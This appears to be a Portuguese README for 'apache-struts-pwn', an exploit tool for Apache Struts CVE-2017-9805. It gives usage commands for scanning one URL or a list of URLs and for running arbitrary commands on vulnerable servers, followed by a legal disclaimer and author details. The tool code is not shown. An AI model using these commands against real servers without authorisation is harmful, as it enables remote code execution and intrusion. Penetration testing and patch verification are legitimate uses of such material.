apache-struts-pwn - CVE-2017-9805 Exploit

Um exploit para Apache Struts CVE-2017-9805

Uso

Verificar se a vulnerabilidade existe contra uma única URL.

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

Verificar se a vulnerabilidade existe contra uma lista de URLs.

python apache-struts-pwn.py --list 'urls.txt'

Explorar uma única URL.

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

Explorar uma lista de URLs.

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

Requisitos

• Python2 ou Python3
• requests

Aviso Legal

Este projeto é feito apenas para fins educacionais e de testes éticos. O uso do struts-pwn para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.

Licença

O projeto está licenciado sob a Licença MIT.

Autor

Mazin Ahmed

• Site: https://lonerangerweb.wordpress.com/
• Email: ultimate31337[AT]gmail[DOT]com
• Twitter: https://twitter.com/lon3_rang3r